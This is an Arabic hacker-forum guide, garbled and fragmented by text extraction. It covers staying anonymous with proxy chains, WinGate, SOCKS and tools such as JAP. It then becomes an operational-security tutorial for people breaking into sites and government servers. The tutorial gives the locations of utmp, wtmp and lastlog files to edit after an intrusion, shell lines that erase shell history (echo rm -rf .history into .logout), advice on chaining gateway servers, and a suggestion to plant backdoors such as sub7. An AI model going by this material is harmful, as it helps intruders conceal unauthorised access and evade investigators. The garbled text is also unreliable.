ر ذلك  ت العربیة الى غی ت للوصول الى هذه المواقع ...  الاجنبیة ولیس روكسیا ء الى الب ر الى اللجو   فهنا تضط
ء : هامة نقطة  ت بها كان ادا روكسي قریبا من المنطقة التي ان ما كان الب حسبانك وهي كل ضعها في 

ع  ر روكسي اس   .الب
 

Proxy Chaining ) ت روكسیا  )وتعني سلسلة ب
----------------------  

حیث كلما زاد عدد  ل  رعة الاتصا ر فعالة تماما في س ء الهویة لكنها غی خفا ر فعالة جدا في ا وهي تعتب
ل ابطأ ال ت كلما اصبح الاتصا روكسیا  ٠...ب

ل  /مثا
[User]>>>>>[Proxy 1]>>>>>[Proxy 2]>>>>>[Proxy n]>>>>>[wep page]   

روكسي الاول ثم بالثاني ثم بالثالث ثم  ى فانك ستتصل بالب ر الى ان تتصل بالموقع المطلوب ولیسا ... وكما ن
طا بان یكون موقعا فقد یكون  خ   ..  ftpشر  .ال

راقب اذن   ر وانه م خصوصا اذا شعر بالخط ق و روري لكل مختر ض ر  ت ام روكسیا فاستخدام سلسلة من الب
حسب مبدأ  حذر دائما وذلك  خى ال ر  "paranoid "ویجب علیه ان یتو ف لكل هك   ....  المعرو

  
حدیثها  ختبارها وت ریقة ا ت وط حصول على البروكسیا ث عن كیفیة ال حد ف سنت  ...في نهایة المطا

htm.anon_list/org.multiproxy.www://http  وهذا المفضل لدي . 
/proxy/com.rosinstrument.tools://http   

ر روكسي الشهی ق مجموعة الب ری ط ر الیاهو او عن   P_R_O_X_Y@yahoogroups.comة عب
ل رسالة فارغة الیهم وفي  ضمام الیهم هو بارسا ریقة الان ت وط روكسیا ث الب حد راسلتك بأ وهي تقوم بم

رسل الیه  ف ت  وcom.subscriber@yahoogroups-P_R_O_X_Y اكتبعنوان الم تلقى  سو
روب رد مباشرة  ء الج ضا حد اع  ..وتصبح  ا

رها هو ر لك هذه الخدمة وأشه خلال عدة مواقع توف روكسي من  ل الب وتستطیع التأكد من عم
/com.proxytester.www://http 

 
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  

 ؟ WinGate ماهو
روكسي proxy server firewall هو ق الب حتوي على  أي یفو حاجز ناري ی روكسي ذو  خادم ب وهو 

ج المختصة رام ضخمة من الب رة و حمایة والتي تبقیك حزمة كبی   )مجهول الهویة) Anonymously بال
wingate  

رف ر لسی ت مع كومبیوت ل اتصالا حیث یعم ر  رف روكسي سی خلال المنفذمتشابه مع الب ر  خ حقیقة  , 23 ر آ في ال
  . Telnet هو اتصال

حصول علىیةكیف  ؟WinGate  ال
خذ عنوان  حد منهم من أصدقائك إذا كان  wingate بإمكانك تا   .لدى ا

حث مختصة بذلك مثل  ج ب رام خلال ب ضا تستطیع فعل ذلك من  حیث یجب علیك WinGate Scannerای  
حدید ال  م واترك IPفقط ت ت نی حكم  والهوس ضوع أنص حول هذا المو ج لیقوم بمهامه وللمزید  رنام  الباقي للب

خادم الهكرز  خلال  حث من  ریقة من ) جوجل (بالب ل قلیلة ولاني لم استخدم هذه الط خبرتي في هذا المجا لأن 
  قبل 
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  ؟Socks Host  ما هو الـ 
Socks Host  ریبا مثل ف وهو ان WinGate تق ختلا س یتصل من لكن الا خلال المنفذ السوك  ١٠٨٠ 

خلال الاعداد الموجودة في المتصفح وذلك اما في  حكم فیه من     أو  explorerوتستطیع الت
netscape ضافة ریقة  Socks Host وبإمكانك إ را في وهذه الط حمایتك  Mirc تستخدم كثی وتقوم ب

ء خفا ل كـ ip وبإ ص بك وتعم   FireWallالخا
ج التي قد ت رام ج وهنالك العدید من الب رنام   وستجدونه   Ghost Surfساعد في عملیة التخفي مثل ب

حث بسیطة في جوجل  خلال عملیة ب ج من    ...حتما من اول النتائ
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 "حمایة هویتك في النت " 
  

$$$$$$$$$$$$$$$$  
 MaXhAk2000:الكاتب

$$$$$$$$$$$$$$$$  
  

حتى تصبح ت   .مجهولا حمایة هویتك في الن
************************************************** 

صلب خذ الجانب الأهم هذا هو  ضوع والذي یأ  <<<المو
ء مجهولا؟؟لماذا لماذا لماذا؟ لماذا هذى اماذا هذه الأهمیة؟؟ ص على البقا ر ح  !!ال

ف اجیب علیه  ==صار مسلسل===>>>> هذا ماسو
ر ى لدى الهاك ر ره  یشغل هذا الجانب الأهمیة الكب ختراقهم وغی حقتهم عند ا رهم من عدم ملا حترفین وغی الم

ضاة في ضهم للمقا حاكم والسجون ولعدم تعر   الم
حم نفسك قبل ان>>"""لهذا هناك قاعدة تقول   """<<تهاجم ا

حكومي او ق موقع او منظمة او موقع  خترا رید ا ص ی حذر من هذا  ینبغي على كل شخ حیطة وال خذ ال ره ا غی
ضوع  .....المو
ف ابقى مجهولا ومتىیقول س ل كی  :::افعل ذلك  ائ
 :::الجواب

رة لبقائك مجهولا في ق كثییییییییییییی ر ط رها هناك  ج وغی رام ت وهناك ب   الأنترن
حمایة والتخفي؟؟؟:حسناً  متى اقوم بهذه ال
ت عندما ل هذه الخطوا حك بشدة بعم ق كان انص خترا ق اي ا خترا  ::ترید الأ
روكسي  استخدم١ــــ ف ومن ای!!!ب  ن؟؟؟كی

حتى تصبح مجهولا قم بالأشترك في روكسي و ت ومنها هذه القائمةالتي  اوكي لجلب الب روكسیا قوائم الب
خاملة الأن ولا ادري لماذا ت  ح  com.p_r_o_x_y@yahoogroup اصب

ل ف یاتي لك قم بارسا ضیة الى هذا العنوان وبعدها سو ف تشتركرسالة فا رسالة وسو ل ربلي ل   رد قم بعم
 .في القائمة 

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 
ت هناك -٣ روكسیا ى لجلب الب ر خ ریقة ا   ط

ت ومنها روكسیا حث عن الب ج الب رام رها  proxy hunter استخدام ب ج وغی رنام ضع لكم >>>.وب تنبه لن ا
حث  <<<google في الوصلة لكن انتم علیكم الب

حة ت المفتو روكسیا حث عن الب ج في الب رنام   ویعطیك هیا ویقوم هذا الب
ریقة ثاثلة  ء/ط ض المواقع لكن واالله اني ناسیها لكن ان شا ق بع ری ط الله اجیب المواقع عن   .ا

 
ء -٢ ج في التخفي والبقا رام ض الب  مجهولا استخدام بع

ج جید في التخفي وه رنام رة لكن هناك ب ج عدة وكثی رام جهناك ب رنام  Steganos Internet و ب
Privacy 

 
ج رنام  ::وظیفة الب

 
ف  ستیجانوس یسمح لك ان حد أن یكش ت بهویه مجهوله وشخصیه متنكره فلایمكنك لأ ر في الأنترن ح تب

ف ص بك لكي هویتك ویعر حقیقي الخا ر رقم الأیبي ال ر وتغیی ج ستیجانوس یقوم بتنكی رنام  مشخصاتك لأن ب
خ ت أو  ت یمكن أن تتعقب من ورائهاهالاتترك ورائك معلوما ستجانوس على دوله  ففي كل ثانیه ینسبك.طوا
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حقیقه مثلا  ر  رنسا ( مبهمه غی ق ، كوبا، ف ریقا الجنوبیه  ،مصر، لبنان، العرا خفائك بكل ) اف وهكذا لكي یتم أ
طه ت ستیجانوس. سهوله وبسا حاسبتك الخاصه  وكذلك من میزا س المخزنه في  ت التجس خطوا ف  حذ

ل بتصفح الأ ت أو نظام التشغی ى یجدر بنا الاشاره الى بعضها ). الویندوز  (نترن ر خ  :وأمور أ
 
ر رقم - ر وتغیی ص بك لكي لایمكن كشفك ومعرفه هویتك تنكی حقیقي الخا  .الأیبي ال
 
س - ت التجس خطوا ل مسح  ت نظام التشغی خطوا ت و  .الناتجه من تصفح الأنترن

رها من المزایا تجدونها في ح في م وغی ر ت بوابة العربالش  نتدیا
215946=php?threadid.showthread/vb/com.arabsgate.www://http 

 
ج -٣ رنام  JAP استخدام ب

ركسي تكون كل ت بدون ب ج یقوم بجعلك تتصفح الأنترن رنام ربة المواقع مف هذا الب ج انا مج رام حة وهذا الب تو
ل میه میه ل>>>وشغا ت عم ج خطوا رنام  <<<الب

ت ج قم بالذهاب الى انترن رنام  اكسبلور ــ بعد تنصیب الب
ص خصائ ختر  ضغط بالزر الیمین وا  .ــ ا

ت ضغط على التبویب اتصالا روكسي ــ ا ضع ب  .وكأنك ترید و
رقم  خانة الملقم هذا ال ضع في   ١٢٧٫٠٫٠٫١ــ 

رقم خانة  ــ وفي ضع هذا ال  ٤٠٠١المنفذ قم بو
ضا ق وای ضغط على مواف ق ــ بعد ذلك ا  .مواف

صح على ضع علامة  ج و رنام وبعدها  Activate anonymous web access ــ ثم اذهب وشغل الب
ل والضغط حدد لك القوة في الإتصا ف ترا المؤشر ی   سو

ء سوى االله ــ بعد ذلك اذهب ت وتصفح بدون رقیب ولا شي    عز وجلالى الأنترن
ضي االله عز وجل ارجوا>>>> ر  <<<<عدم استخدامه فیما لا ی

exe.setup/jap_swing/win/de.dresden-tu.inf.anon://http  
  

...  
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 "احمي نفسك وغطي افعالك "
  

$$$$$$$$$$$$$  
  DJ KING: الكاتب

$$$$$$$$$$$$$  
  

حساب لظلك  ف  ل ال خیالك و تعم ف من  ضوع سیجعلك تخا س  لكن انشاله سیكون دفعه.. هذا المو للامام و لی
ف و تتراجع   لان تخا

ریب  ضوع غ ر  .. و عادة ما نتجنبه دائما.. اسلوب المو خ خواننا و اساتذتنا من كتبوا .. بمعنى ا كل من ا
حا في  قدروسا و شرو خترا ق ا حمایه هو مسح اللو حید في ال ت و المواقع كان همهم الو را رف  log السی

files .. ء!! هل هذا سیمنع تتبع اثرك ؟! هذا یجعلك في امان تام ؟ لكن هل من  هذا ما ستكتشفه بعد الانتها
ضوع  ءة المو   ..قرا

************************ 
حصول على ت تظن ان ال ت اذا كن را حترفا و  ( exploites ) ترجمة الثغ ع ما یمكن هو ما یجعلك م ر باس

رك غلط " بان اقول لك  متطورا فاسمح لي طئ و ان اسلوب تفكی خا   "انك انسان 
حدیثه جدا  ماذا ستفیدك الثغره ره  ( ٠day( ال ت الكبی را رف حدى السی ت ا ض علیك اذا هاجم .. عندما یتم القب

ره على اجهزتك و ادواتك  ؟ راقبتك و عندها سیتم السیط  !؟!و م
ض ان هذا ى البع ر ت العالیه  یمكن ی س فیها هذه التقنیا ص نعرفه ؟ او ان بلادنا لی ث قط لاي شخ حد !! لم ب

ث یوم ما  لكن هذا حد   !!قد ی
ى ر خ ت ا را رف ت بلدك انما سی را رف ت لاتهاجم فقط سی ضا ان طه الدولیه  و ای ر حمیه من قبل الش كما .. عالمیه م

ص و فهم  ر ح تانه لابد من ال ر الامور اذا كن   بمعنى الكلمه hacker ترید ان تسمي نفسك هك
ر من ف او انك  ربما تعتقد في نفسك انك اكب حترا ر لانك من المعروفین عنهم بالا ضوع بكثیی ءة هذا المو قرا

ى ذلك في نفسك ضوع الي النهایه .. تر ءة المو حتاج لقرا ت ت   لكن انا اؤكد لك بانك مخطئ و ان
************************ 

ضوع مقسم الى  ء ٨المو   : اجزا
================= 

ء الاول  ء من( المقدمه : الجز ت بالانتها ت ان حالیا  و هو ماقد قم   )قرائته 
ء الثاني  ف تصبح: الجز خلال هذه  هذا " Paranoid "** الامور العقلیه و كی ضه من  ر ء سیتم ع الجز

ضیع    :الموا
حافز -   الدافع او ال
  " Paraniod " لابد ان تصبح لماذا ان -
ف یمكن ان تصبح -   ؟ " Paranoid " كی
ف - حافظ على اسلوبك الجدید او شخصیتك الجدیده ؟ و كی  !ت
 

ل عن ** ء .. معنى هذه الكلمه  متاكد ان معظمكم یتسائ ح هذا الجز ضیح معناها و مفهومها مع شر سیتم تو
  .ء اهللانشا

ء الثالث  ت التي یجب ع: الجز قالاساسیا خترا ضها من ( لیك معرفتها قبل ان تقوم باي عملیة ا ر و سیتم ع
  )خلال النقاط التالیه 

  تمهید -
  امن نفسك -
ص حسابك -   الخا
ق - ت اللو  LoGs ملفا
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  لا تترك اي اثر -
ء یجب تجنبها و - ر منها امور و اشیا حظ   ال

رابع  ء ال حظتها: الجز حدیثه الي یتي یجب ملا ت ال خلال النقاط التالیه  و سیتم ( التقنیا ضه من  ر   )ع
  تمهید -
  امنع تقفى اثرك من اي نوع -
ق - ت اللو   ..مهما كان فیها من تلاعب  lOGs ایجاد اي نوع من انواع ملفا
ق من - حق  syslog configuration and logfile ت
ج الامن المثبته - رام ت ب ق من نوعیا حق   ت
ء - ق من وجود المدرا حق  Admins ت
ف یمك - حیحكی   checksum checking software ن تص
ل المستخدم الامنیه -   حی
 

س  ء الخام راقبه: الجز ت الم ح ت ت ضع   ماذا تفعل ان و
ء السادس  ضا الذي لابد من عدم القیام به في: الجز ض علیك ما الذي علیك القیام به و ای   حالة انه تم القب
ء السابع  خت: الجز ج للتخفي و الا رام ءقائمه بافضل الب   با
ء الثامن  ختامیه : الجز ض و تركیز........ كلمه  ر ح ضوع ب  ... !!!شدیدن من الان  ارجو ان تتابعو المو

 
***************************************************************************************  

  :الجز الثاني 
======= 

حافز  -   :الدافع و ال
************* 

ح م العقللابد من ت ل  كی ح في اي عم حفزك لتصبح انسان واقعي .. للنجا  ..العقل هو القوه التي ستدفعك و ت
ص ری ح  مسئول و 

ق ء و ( Hacker ) المختر ر فیه هذه المبادى ت العقلیه  الناجح لابد و ان تتوف ء .. الامكانیا مثلها مثل بنا
ر الجسم و یتقسم الا بعد ت الجسم لن یكب ضه ال عضلا ریا ل ( خاصه بذلك ممارسة ال ل المثا   )على سبی

رس او لدیك ت متم حذر قبل القیام باي شئ مهما كن ت و ال طا حتیا خذ اشد الا ت لابد ا ر من المعلوما  الكثیی
 
 ؟ " Paranoid " لماذا یجب ان تصبح -

*************************** 
في جمیع   الافراد تجعلك تشكنزعه عند( في اللغه الانجلیزیه تعني جنون الارتیاب  " Paranoia "كلمة 

ص    )الامور و جمیع الاشخا
ت تتضح لنا بعد معرفة اصل   ..هذه الكلمه  اعتقدان الامور بدا
ت التالیه خلال الكلما ض ما ذكر من  حذر و الشك في  تعني ان paraniod : یمكن ان نلخ تصبح شدید ال

ف رو  جمیع الظ
ریقه حذر بهذه الط خي ال   !!المخیفه ؟ لماذا یجب تو

ر في امان  ف یجعلك تسی رو ء الظ ر جدا  و لان ما.. لان توقعك دائما الى اسو ما تراه .. تفعله هو شئ كبیی
رئیسیه  حه ال ر الصف رده انك تغی ت بعینك المج ر هو شئ  ..ان رف ت من السی ض المعلوما ل بع می ح او تقوم بت

 بسیط بل و سهل جدا
ر معین و تم رصدك و تتبعك  ماذا لو انك رف ت سی خترق طه ا ر ض علیك من قبل الش  و انك سترمى! ؟!و القب

رمین  في السجن كالسارقین و المج
حصل لك  ت لا تهتم بما قد ی خوتك .. امك ... ابوك .. بما ما قد یصیب اهلك  علیك الاهتمام.. ان كن .. ا
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ت متزوج ( زوجتك و اطفالك    )ان كن
ریمه  حقیقه هي.. ربما لاتشعر بان ماتقوم به هو ج ریمه لكن في ال  !! ج

ف ض علیك ؟ هل تعر  !ماذا سینتظرك ان تم القب
ر  رمانك من كل امور الكومبیوت ح طبیعیه لك  نظرة.. سیتم  ر  ت نظرة اعجاب انما نظرة ( الناس الغیی لیس

ف  ل) .. خو ص العم ر حظى بف حقها  لن ت ى من هذا النوع .. التي تست ر خ حصول اي مشاكل ا ستسدعى عند 
  !! لا یقومون ثاني ابدا یسقطون لذا فان معظم من.. 
 

حذرا جدا و شكاكا   نفسك امن.. لذا فاصبح 
ت طا حتیا خذ جمیع الا   ا

ف او ما خوا رون عنك بانك   شابه لاتهتم بما قدیقوله الكثی
ف ت قیمته تافهه log اهتم باي مل   مهما كان

  %١٠٠سلیما .. بعملك  علیك ان تقوم hacker لتصبح
 
  

ف تصبح  ؟ " Paranoid " كی
********************* 

ت ح ت بالفعل اصب ت به ان ق و اقتنع ت ما سب ت قرأ ص اذا كن حده  " Paranoid " هذا الشخ ع و لكن الاقتنا
ضا لا حظه ای حده ولید الل س و حم ر موجودین بشكل ... لایكفي  یكفي و الت ق و التوت انما لابد ان یكون القل

حیاتك    )الالكترونیه  (دائم في 
ت فعلا ترید ان حقیقي اذا كن ر  ف لمن تقول...  تكون هك رین  لابد ان تعر خ ل مع الا ف تتعام حقیقه و كی هذه ال

راقب دائما و انه هناك..  حساب انك م ل  خفیه وراك دائما  اعم را  حذر في كلامك على الهاتف لانه .. كامی فا
راقب  حتى.. قد یكون م ریدیك الشخصي و الالكتروني  او  ر المت( ب حساب الغی ل    )وقع لابد ان تعم

 
ر مبالي  اذا ما قد   دعني اسألك هذه الاسئله ؟.. ذكرته لا یهمك و انك انسان غی

ر هل ترید ان حس حزن و الدموع على وجه اهلك ؟ هل ترید ان ت ى ال ر رم ؟ هل ترید ان ت رین مج خ راك الا  ی
  !قلوبهم علیك ؟

حبتك ؟ ص خطیبتك ؟    هل ترید ان تفقد اصدقائك ؟ 
ر ان الضرر    علیك فقط انما سیعود على كل من تعرفهلن یعود تذك

 
حافظ على اسلوبك - ف ت  !الجدید او شخصیتك الجدیده ؟ و كی

****************************************** 
ص جدا  بما ری ح ت ان تكون انسان  حتى الان و قرر ر  ت ماذك طوال  لابد ان تبقى هكذا.. انك قد استوعب

ت   الوق
ت  ر هذه الكلما حظ: و تذك ت الامنیهل طا حتیا حده في اتخاذ الا حیاتك باكملها ؟ ة كسل وا ر    !!!!قد تغی
ر الدافع   دائما تذك

 
ء الثالث -  : الجز

========= 
 تمهید -

******  
ق  یجب معرفة هذه الامور القادمه و استیعابها خترا ق .. جیدا قبل ممارسة اي عملیة ا ت مختر حتى لو كن

رس لابد ان تستوعب الافكار   قادمهال متم
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  :امن نفسك  -

*********** 
ریدیه الالكترونیه ؟ رسائلك SysAdmin ماذا لو قرأ ال -   الب
راقبه من - ت اتصالاتك الهاتفیه مسجله و م طه ؟ ماذا لو كان ر   قبل الش
ره على كل معلوماتك ؟ - ر الشخصي و السیط ضبط الكومبیوت   ماذا لو تم 
 

ت هاتف ل اي اتصالا ت لاتقوم بعم ص من الهاكرز او الكراكرزاذا كن ت  .. یه مع اي شخ ولا تبعث اي ایمیلا
حساسه ت امنیه و  ت مشبوهه و لا تمتلك اي معلوما ف  فیه معلوما خو طه لا یشكل اي  على جهازك فهذا ببسا

ق او ت مختر ت لس ضا ان طه ای  (= hacker لانه ببسا
ل بینك و بین اصدقائك المهتمین بهذا المج ل لانه لابد من وجود اتصا خبار و الافكار  لتبادل.. ا   ..الا

ق خترا ت اللازمه للا ض الملفا حالة  كما انه لابد و انك تمتلك بع ر مدینه لك في  ت الي تعب ض المعلوما او بع
ث رصد لجهازك    )كبسه ( حدو

<-- 
--> 

 
حساسه ت  ر كل ما تملكه من معلوما   sensitive data قم بتشفی

ج الم رام ض الب ت یمكنك ذلك باستخدام بع ج و التي  و هذه.. وجوده مجانا على الانترن رام قائمه بافضل الب
ختیار الهاكرز الاول  ر ا   :تعتب

 SecureDrive 1.4b او SFS v.17 الیكم MsDos لمستخدمین -
ر شائعة الاستخدام  * ) EnigmaII v1.5 الیكم *Amiga لمستخدمین نظام - ل غی حدى انظمة التشغی ا

  )خصوصا في عالمنا العربي 
 CFS v1.33 الیكم Unix لمستخدمین انظمة ال -
 

ت بشكل فردي  ر الملفا ف( لتشفی ف  مل ج ) بمل رام ء ( الیكم هذه الب حسن ادا ره و الا ر شه  ) :الاكث
 

- Triple DES 
- IDEA 

- Blowfish (32 rounds) 
- file2file 

 
ت  ر الایمیلا   :لتشفی

- PGP v2.6.x  
 

ر عملیة اتصالك ب ضا تشفی راقب  على اساس ) Unix System یمكنك ای   )انه ممكن ان تكون م
  :و ذلك باستخدام 

- SSH حتى الان   الامن 
- DES Login  

صعبة التخمین  ریه  ر منطقیه .. اجعل كلماتك الس ر شائعه .. غی س  لا توجد.. غی س .. في القوامی لكن في نف
ت لابد ان تتذكرها دائما  الوق
خترها من كتاب تتمتلكه ف اجعل .. ا ر ح ر عدد ممكن من الا ل اي اشتراك یطلب ( ها اكب یعني عادة عند عم

ریه تتكون من  منك كلمه ف ٨- ٤س ر ح ختر ال )  ا ف٨فا رو ح   



 

  ٥٠  

Sites UnDeR UtTaCk  hi_HaCkEr & MaXhAk2000  www.3asfh.com/vb  

حابك الهاكرز حفظ ارقام هواتف اص ت ( انما یمكنك بان تشفرها .. بشكل اعتیادي  لا ت رموز تفهمها ان حتى ب
ل  و اتصل بهم من) فقط    ..هواتف الشارع او من العم

ج فلابد من ق جدا في الهاكین ت بالفعل متعم ق بهذه الامور  اذا ان ر كل شئ یتعل  !!تشفی
طیه من معلوماتك على حتیا حفظ دائما نسخه ا ت  HD او CD ا ر خس حتى اذا  ره  و بالطبع تكون مشف
ت الموجوده على جهازك یكون لدیك طیه المعلوما حتیا خ ا   نس

حتاجها  ت لات حتفظ بملفا رة  او document files یكو ان كان لد.. لات ت مطبوعه و لا تریدها م ملفا
رقها في مكان بعید كل ح ى لاتقطعها اعتیادیا انما ا ر خ ت  ا البعد عن اماكن تواجدك الاعتیادیه او ان ارد

حتفاظ بها فعلیك كتابتها من جدید ت  الا ر لایعرفه الا ان رمز او مشف  !!باسلوب م
 

ف انه من الممكن ان    :هل تعر
================= 

راقب من  طه : تكون م ر ت ، الش را رون و انهم، المخاب خ ت باستخدام  هاكرز ا ركا ح یتسطیعون رصد كل 
حدیثه لایمكن تخیلها ل    وسائ

  :مثل 
ت الامتار اجهزه - رك عند بعد مئا ر تستطیع تصوی   تصوی
ت - رفتك للتصن حو غ   على مكالماتك نقطة لیزر مصوبه ن
ت عالیة التردد للتنص - ت یدیك على الموجا صو ت و   !! keyborad ت على لمسا

ى  ر خ ر و من دوله الى ا خ ت من مكان لا ف بالطبع هذه الامكانیا ض انه فیما اقوله مبالغه  و.. تختل ى البع ر ی
ف ماذا یخبئ لك المستقبل !!!  ت لا تعر   !!!فلماذا لاتستعد من الان  !!لكن ان

خواننا العرب في دول ر من ا ت هذه  كما انه هناك الكثیی ر فیها اجهزة التنص و ... الخارج الذي بالفعل تتوف
حتار عدوك فیك  امشي" على راي المثل المصري  حسبها بشكل " عدل ی ركاتك ت ح طیا و  حتیا ت ا فكلما كن

حیح  ص!!! ص ر حتك قلیله جدا فف طا   ا
 
 
 

ت الشخصیه    :حساباتك و اشتراكا
=================== 
حساباتك الشخصی م عن  ت فيهنا سأتكل ء كان ل ه سوا   :اي كان فعلیك بالتالي \الجامعه\المدرسه\العم

ر - ل غیی حقیقي و .. قانوني  ابدا لا تقوم باي عم حسابتك الشخصیه التي فیها یكون اسمك ال او مشبوه ب
ت   كامله عنك هویتك و تفصیلا

ختراقه بواسطة ال - حاول ان تتصل بموقع قد تم ا رك ما ت   telnet عم
رید لاي موقع امنيیمكنك الاشت - ص في قائمة الب حسابك الخا ف  security راك ب خو   ..من دون 
حها فورا - ر او انها یتم مس ت لابد ان تشف ج من ملفا ص بالهاكین   لكن كل مو هو مخت
حسابك الشخصي - ق على الهاردیسك في  خترا ت الا ج و ادوا رام حفظ اي ب  ابدا لا ت
ق فی - حقیقي لاتعطیه الا لمن تث ریدك ال ء ب  !!!!ه ثقه عمیا
س السكیورتي هو المشكله .. یجعلك مشبوها  اهتمامك بالسكیورتي لا - ج <==انما الاهتمام بعك  الهاكین
 

<---- 
ق ت اللو   : LoGS ملفا

============ 
ت٣هناك    :مهمه جدا   ملفا

- WTMP روج خول و الخ ل عند الد   ( log on/off - log in/logout + tty + host ) للتسجی
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- UTMP  حالیا  !للمتواجدین اونلاین 
- LASTLOG ل من این ت هذه تسجی ء   logins جا

 
ق فیما بعد  ** ضه و تعم م عنهم باستفا ر من( سنتكل خ ء ا ضوع  في جز س المو   )نف
 

خول بواسطة ال ت  یتم تسجیلها telnet , ftp , rlogin كل عملیة د خولك .. في هذه الملفا ف د حذ لابد 
ت و الا   : سیتم معرفة الاتي من هذه الملفا

ق  - خترا ت بالا   !!ماذا قم
ت قادم -   من اي مكان ان
ت اونلاین - ت بقی  .. كم من الوق
 

س هذا( مننا  % ٩٩٫٩خطا یقع فیه الجمیع بنسبة  ت اقع في نف ت .. الخطا زمان  حتى انا كن و ) لكن اتعلم
ت   logfiles هو انك تمسح اللوقا

حالة انك  هذا مجدي.. علطول  ل على النظام في  خ ق ما قد د ف الادمین انه هناك مختر  اما.. لاتهتم بان یعر
ص  حظك اي شخ روج دون ان یلا خول و الخ حترفین علیك الد ت ان تشتغل شغل الم ان تقوم  دون.. اذا ارد

ر النظام ت انتباه مدی ر اي شئ یلف   بتغیی
ل ذلك تابع معي    :و لعم

ت على انها لاتق ج التي روج رام خولكلاتعتمد الب ف د حذ ق انما تقوم ب ر مجدیه مثل  وم بمسح اللو فهي غیی
ج رنام  ZAP (or ZAP2 ب

ق مكانك ر لو خ ل اصفار كا ر النظام لانه یقوم بعم حظه مدی خطا سیلا ل على وجود  ضا دلی ت و هذا ای   ان
  ..یدویا  اذا علیك بالقیام بذلك
ت ر و تعدل في ال root عادة لابد ان تكو ضباستثن ) log files لتغی ء بع ت القدیمه جدا  ا   )التوزیعا

ق ت اللو ف ) default اماكن تواجد ملفا ختلا ف با   )التوزیع  تختل
UTMP : /etc or /var/adm or /usr/adm or /usr/var/adm or /var/log 
WTMP : /etc or /var/adm or /usr/adm or /usr/var/adm or /var/log 

LASTLOG : /usr/var/adm or /usr/adm or /var/adm or /var/log 
خ القدیمه و في ض النس  $home/.lastlog بع

 
 :لا تترك اثرا 
======= 
ر من ق  كثیی ت اللو خولهم من ملفا ف د حذ حون في عملیة  را هاما و.. الهاكرز ینج !!! قاتلا  لكنهم ینسون ام

ت التي توجد هنا  و هي الملفا
/tmp and $HOME 

ر مص $HOME في Shell History و جود ال ق كبیی  :در قل
History files : 

sh : .sh_history 
csh : .history 

ksh : .sh_history 
bash: .bash_history 

zsh : .history 
Backup Files : 

dead.letter, *.bak, *~ 
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ضا لمسح ال ل موجود ای ح   : History filesلكن ال
mv .logout save.1 

echo rm -rf .history>.logout 
echo rm -rf .logout>>.logout 

echo mv save.1 .logout>>.logout 
 
ر منها امور و - حظ ء یجب تجنبها و ال  اشیا

====================== 
ر اي حذر من استخدام  encrypted partition باسورد الا على لاتقوم ابدا بكس ت ت كما علیك دائما ان

ل  ) اشتراكاتك ل المثا   )اشتراك الجامعه على سبی
ى ماتفعلهلانه بم ر طه یمكن ان ی ر الشبكه نتهى البسا ف مالذي تقوم به و  admin مدی و من ثم سیعر

خ  ت التي تستخدمها ال   ..الملفا
خصوصا غاویین حنا العرب  ج المشبوهه لدیك یعني ا رام ر اسامي الب ء  حاول دائما ان تغیی نسمي اسما

ضي    ..اسامي مخیفه على الفا
ر في نفسك فقط  حین.. لاتفك ت او ال  انیعني  ض الاشتراكا ل الخلفي shellsتستخدم بع  التي تسمح بالعم

background ت الانظار  لابد ان ر و بالتالي تلف رف رعة السی ف انك تبطئ من س   !!!تعر
ع  parametres حاول ان لاتستخدم ل ... على قدر المستطا ت ان تتصل من الشی ل اذا ارد ل المثا على سبی

ت لموقع معین او سی على ل الاتيتیلن ر معین لاتقوم بعم  telnet  : /com.host.www://http 23رف
ت البطیئه و هي انما طه اتبع الخطوا  ببسا

telnet 
open 

/com.host.www://http 
  ..و هكذا 

ختر حالة انك ا ر معین من الافضل ان تضع علیهفي  رف ت سی ل  مخصصه لنظام backdoors ق ( التشغی
ش ت) هههههههههه  sub7 م ره و موجوده مجانا على الانترن   و هي كثیی

 
رابع  ء ال حظتها: الجز حدیثه الي یتي یجب ملا ت ال   التقنیا

=============================== 
 تمهید -

******* 
ت اول ت  sniffer بعد ان ثب ختراقا ت لبدا الا خطط ت متعبا ما.. و  ف تستخدم هذه التقنیا ف كی  علیك ان تعر

  :یلي 
  امنع تقفى اثرك من اي نوع -

********************** 
حظ ر الشبكه ( الادمین  قد یلا ق) مدی حد المواقع لكن هذا hacker وجودك كمختر ت با ح ط ... لایهم  و انك ا

رصدك و عندها ف سی ل معك المهم هو انه كی ف یمكن ان یتعام   !!! كی
ضا لذا ففي ت و الاسالیب الذي یمكن بها تتبعك و رصدك و ای حتمالا ضیح كل الا ء سیتم تو ف  هذا الجز كی

  ...یمكن ان تمنعها 
 
ر الشكبه ) العادي ( من الطبیعي  * ق علیه  ( admin (ان یسهل على مدی معرفة النظام الذي كان المختر

خوله على شبكته و قعند د ری ط ق   ذلك اما عن  ت اللو ر غبي لتركها كما هي ( ملفا او من ) هذا ان كان الهاك
  sniffer من ال output ال
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ر ق مازال موجودا netstat او من اوام حالة ان المختر   online في 
  !! GateWay Server اجل هذا تختاج ال من
 

* A gateway server in between ر من الس هذا حد من الكثیی حساب وا ت التي یوجد لك  را رف ی
ر في منتهى ر  علیها و التي تعتب ت علیها لتستطیع تغیی حتاج لان تكون روو ت ت السخافه في الاستخدام و ان

  wtmp and lastlogs ال
ر من ف  و ان تبدل بینهم gateway server كما انه لابد ان من استخدام اكث حتى لا یتم الكش رار  باستم

  ..عنك 
ل الذي  ق منه من الشی ل.. ستختر ل با راد  gateway server قم بالاتصا ر الم رف و من ثم تتصل بالسی

ختراقه    ..ا
حتاج دائما ) <== ق  root access ل ت ر اللو   )لتغیی

ل ر من Dialup server باستخدامك  ت .. المشاكل  یجنبك الكثیی ل في ملفا حیث انك في غنى عن التعدی
ف ل باشتراك مختل خ رط ان تد ق بش ل فیها على ال اللو خ ره تد   (= hacked systemفي كل م

حوظه  ل: مل ت قادر على الاتصا ت اذا كن را رفی حاجه لان تستخدم dialup بس ره فلا   hacking كثیی
server ر ر اثرك بتغی خلالها لانه سیتغی ت المختلفه التي تتصل من  ركا   الش

 
ت ریكیه و اوروبا  بالنسبه للمتواجدین في الولایا حده الام ق) الدول المتقدمه ( المت ت بما سب  ) حتى و ان قم

dialup servers )  ت منذ سنیین هذا عددها ل تم و لدیهم ارشیفا ل كل اتصا   !یمكنهم تسجی
 

رسم في الصوره التالیه  حه بال ض ختصار للنقطه السابقه مو   :نتیجه و ا
 

 
 
ق - ت اللو  .. مهما كان فیها من تلاعب lOGs ایجاد اي نوع من انواع ملفا

************************************************** 
 

*** 
